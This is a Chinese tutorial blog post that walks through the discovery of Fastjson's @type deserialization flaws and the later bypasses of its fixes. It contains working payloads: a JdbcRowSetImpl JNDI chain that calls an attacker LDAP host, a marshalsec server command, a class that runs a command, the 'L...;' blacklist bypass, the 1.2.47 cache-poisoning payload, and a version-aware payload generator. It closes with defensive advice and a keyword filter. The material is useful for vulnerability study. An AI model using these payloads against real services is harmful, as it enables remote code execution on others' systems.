首先,感谢我的小迪老师的指导与启发,让我有机会深入学习这个经典漏洞案例理解前辈们的安全研究思路。
当分析一个广泛使用的库时,我们应该思考:为什么一个JSON解析库需要这么多特殊功能?
大多数JSON库只做一件事:把JSON字符串转成对象,或者反过来。但Fastjson不同,它实现了更多功能。作为学习者,我们需要理解那些发现Fastjson漏洞的前辈们的研究方法。
下面我们一起分析这个经典漏洞的发现过程。
安全研究人员通常会关注特殊的功能点。在Fastjson中,一个明显的特殊功能是@type
属性。
// 来自Fastjson文档的示例
String json = "{\"@type\":\"com.example.Model\",\"id\":1}";
Object obj = JSON.parseObject(json);
研究人员的思考过程:
@type
是什么?它允许在JSON中直接指定要创建的Java类?"从迪老师的课程里了解到安全研究者立刻识别出这里存在反序列化风险。从JSON字符串直接指定要创建的Java类是一个危险信号,因为它可能允许创建并初始化任意类。
发现可疑功能后,研究者会立刻深入源码,寻找关键路径。要理解源码,研究者会设置关键断点:
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject()
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze()
com.alibaba.fastjson.util.TypeUtils.loadClass()
通过调试,研究者确认了以下关键流程:
// 简化版的处理流程
public Object parse() {
// 解析JSON对象开始
if (lexer.token() == JSONToken.LBRACE) {
return parseObject(...);
}
}
public Object parseObject(...) {
// 解析字段
String key = lexer.stringVal();
// 检查特殊字段@type
if (key.equals(JSON.DEFAULT_TYPE_KEY)) { // DEFAULT_TYPE_KEY = "@type"
String typeName = lexer.stringVal();
// 加载用户指定的类!
Class> clazz = TypeUtils.loadClass(typeName);
// 创建实例并设置属性...
}
}
这里的关键发现是:Fastjson会尝试加载@type
指定的任何类,并创建其实例!
安全研究者需要验证自己的猜测。他们创建了一个简单的测试类:
// 测试类
public class EvilObject {
private String cmd;
public EvilObject() {
System.out.println("EvilObject构造函数被调用!");
}
public void setCmd(String cmd) {
this.cmd = cmd;
try {
// 危险操作:执行系统命令
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后编写测试代码:
String json = "{\"@type\":\"com.test.EvilObject\",\"cmd\":\"calc\"}";
Object obj = JSON.parseObject(json);
执行后,计算器弹出! 这证实了三点:
@type
指定的类关键洞察: Fastjson会调用setter方法,而不只是设置字段。这是漏洞利用的核心,因为setter方法可以包含任意代码!
验证了漏洞存在后,安全研究者面临一个问题:在真实攻击中,目标系统不太可能有我们自定义的EvilObject
类。
我们需要寻找JDK或常见库中的类,这些类需要满足:
研究人员的搜索方法:
Runtime.exec()
, ProcessBuilder
, JNDI查找
等经过搜索,安全研究者锁定了目标:com.sun.rowset.JdbcRowSetImpl
类。分析其源码:
// JdbcRowSetImpl关键代码
public void setAutoCommit(boolean autoCommit) throws SQLException {
// 当conn为null时,调用connect()
if (this.conn != null) {
this.conn.setAutoCommit(autoCommit);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(autoCommit);
}
}
private Connection connect() throws SQLException {
// 如果设置了dataSourceName,执行JNDI查找
if (this.getDataSourceName() != null) {
InitialContext ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup(this.getDataSourceName());
return ds.getConnection();
}
// ...
}
完美的利用链! 通过设置dataSourceName
为恶意LDAP URL,然后调用setAutoCommit()
,可以触发JNDI查找,实现远程代码执行。
完整的利用链:
JdbcRowSetImpl
实例dataSourceName
为恶意LDAP URLautoCommit
,触发JNDI查找一个真正的安全研究者会验证完整的攻击链。这需要:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-server:8000/#Evil" 1389
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker:1389/Evil\",\"autoCommit\":true}";
Object obj = JSON.parseObject(payload);
成功! 通过Wireshark捕获网络流量,确认了LDAP查询和HTTP请求过程,证明攻击链有效。
当漏洞公开后,Fastjson在1.2.25版本采取了两项防御措施:
JdbcRowSetImpl
等危险类但安全研究者的思维不会停止。他们会问:这些防御是否完备?有没有绕过方法?
研究者分析Fastjson的黑名单实现:
public Class> checkAutoType(String typeName, Class> expectClass) {
// 检查黑名单
if (typeName.startsWith("com.sun.rowset")) {
throw new JSONException("不允许的类型");
}
// 加载类
return TypeUtils.loadClass(typeName);
}
而在TypeUtils.loadClass()
中有这样的代码:
public static Class> loadClass(String className) {
// 处理类型描述符
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName);
}
// 常规类加载
return classLoader.loadClass(className);
}
关键发现: 安全检查发生在处理类型描述符之前!使用类型描述符格式(如Lcom.sun.rowset.JdbcRowSetImpl;
)可能绕过黑名单检查!
验证绕过:
// 被黑名单拦截
String blocked = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"}";
// 成功绕过
String bypass = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"}";
随着更多漏洞修复,研究者挖得更深,发现了类缓存机制漏洞。
通过分析源码,发现Fastjson使用了一个类映射缓存:
// TypeUtils中的缓存
private static ConcurrentMap> mappings = new ConcurrentHashMap<>();
// 在ParserConfig.checkAutoType()中,安全检查发生在缓存查找之后
public Class> checkAutoType(String typeName, Class> expectClass) {
// 先检查缓存
Class> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz != null) {
return clazz; // 缓存命中,跳过安全检查!
}
// 安全检查
if (typeName.startsWith("com.sun.rowset")) {
throw new JSONException("不允许的类型");
}
}
巧妙利用点: 安全检查发生在缓存查找之后!如果类已经在缓存中,将跳过安全检查。
进一步发现,处理java.lang.Class
类型时,会向缓存中添加指定类:
// 处理java.lang.Class类型时
if (clazz == Class.class) {
String className = (String) value;
Class> loadClass = TypeUtils.loadClass(className); // 加载并缓存
return loadClass;
}
这启发了一个双重反序列化攻击:
// 1.2.47双重反序列化Payload
String payload =
"{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://evil:1389/Evil\",\"autoCommit\":true}}";
攻击流程:
com.sun.rowset.JdbcRowSetImpl
类并放入缓存作为安全研究者,最后会开发通用攻击工具,支持不同版本:
// 根据版本生成对应的payload
if (version.equals("1.2.24") || compareVersion(version, "1.2.24") <= 0) {
// 1.2.24及之前版本
payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""
+ ldapUrl + "\",\"autoCommit\":true}";
} else if (compareVersion(version, "1.2.25") >= 0 && compareVersion(version, "1.2.41") <= 0) {
// 1.2.25至1.2.41版本,使用L;绕过
payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\""
+ ldapUrl + "\",\"autoCommit\":true}";
} else if (compareVersion(version, "1.2.42") >= 0 && compareVersion(version, "1.2.47") <= 0) {
// 1.2.42至1.2.47版本,使用缓存漏洞
payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""
+ ldapUrl + "\",\"autoCommit\":true}}";
}
回顾整个过程,我们可以提炼出以下研究方法:
@type
)这种方法论不仅适用于Fastjson漏洞,也适用于各种反序列化漏洞的挖掘。
作为开发者,我们应吸取以下经验:
// 安全的做法
User user = JSON.parseObject(jsonString, User.class);
ParserConfig config = new ParserConfig();
config.addAccept("com.your.safe.package.");
// API层过滤可疑内容
if (jsonString.contains("@type") && (jsonString.contains("RowSet") || jsonString.contains("ldap:"))) {
throw new SecurityException("可能的注入攻击");
}
Fastjson漏洞系列展示了系统的安全研究方法:
通过研究这些漏洞,我们可以学习安全分析的方法论,提高自己的安全研究能力。
参考资料